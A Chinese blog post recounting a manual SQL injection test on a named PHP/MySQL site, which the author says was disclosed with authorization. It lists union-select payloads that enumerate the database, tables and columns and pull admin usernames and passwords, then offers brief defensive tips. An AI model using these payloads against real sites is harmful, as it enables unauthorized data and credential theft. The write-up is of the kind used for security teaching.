记一次简单的渗透实战(手工SQL注入)

渗透场景:

本次测试网站 :www.gaoneng.com
该漏洞已经提交漏洞盒子平台,已授权公开此漏洞
经过初步判断,得出此网站操作系统为Windows,网站源码脚本格式为php,使用的数据库类型为Mysql,架设环境为Windows Microsoft-IIS/6.0。


问题描述:

产生SQL注入的必备条件:
    1.程序员未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。
    2.有可利用控制输入的数据值

SQL注入漏洞的危害:
    1.攻击者可以利用获得的数据进行读取服务器敏感文件
    2.植入webshell后门
    3.获取服务器权限等  

渗透过程:



①首先找到含有注入点的URL界面
http://www.gaoneng.com/newsshow.php?id=234
记一次简单的渗透实战(手工SQL注入)_第1张图片
记一次简单的渗透实战(手工SQL注入)_第2张图片
通过简单测试后发现所有新闻页面均存在数据库异常回显状况(注入点),可以判定此URL未过滤注入关键词并含有注入漏洞。


②查询字段长度,爆出字段位置
1)通过order by语句二分法定位字段长度
2)根据回显正常/错误界面判断出共有26个字段
3)在错误界面爆出字段位置
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
记一次简单的渗透实战(手工SQL注入)_第3张图片


③查询当前用户权限与数据库

and 1=2 union select 1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,user(),18,19,20,21,22,23,24,25,26
在数据回显点插入语句查询相关数据库名等信息。
记一次简单的渗透实战(手工SQL注入)_第4张图片
//得出当前用户权限为:root
//数据库名为:gaoneng


④查询表名与列名
and 1=2 union select 1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.tables where table_schema=‘gaoneng’ limit 0,1
记一次简单的渗透实战(手工SQL注入)_第5张图片
//因为数据库中不止有一个表名,所以加limit语句进行查询,可以limit X,1逐个查询表名。
//得出表名为 com_admin

and 1=2 union select 1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.columns where table_name=‘com_admin’ limit 1,1
记一次简单的渗透实战(手工SQL注入)_第6张图片
记一次简单的渗透实战(手工SQL注入)_第7张图片
//列名也不止一个,所以经过查询得出两个有价值的列名字段
//username,password

⑤查询字段中数据

and 1=2 union select 1,2,3,4,5,6,username,8,9,10,11,12,13,14,15,16,password,18,19,20,21,22,23,24,25,26 from ‘com_admin’
记一次简单的渗透实战(手工SQL注入)_第8张图片
//得出管理员用户和密码


解决方案:

本次SQL注入主要是利用了联合查询,通过数据库语句进行一步步猜解和分析,最终得出攻击者需要的密码口令。

如何防范SQL注入攻击?(以下为个人见解,欢迎讨论)

①管理员限制数据库功能,将使用权、用户功能、权限降至最低。
②及时更新数据库补丁,加固安全措施(web防护软件、防火墙),过滤敏感字段。
③避免向用户回显数据库错误信息。
④多层加密数据库密码信息,即使攻击者获得口令也无法破解。

你可能感兴趣的:(渗透思路,网络安全,安全,sql,数据库,网络,经验分享)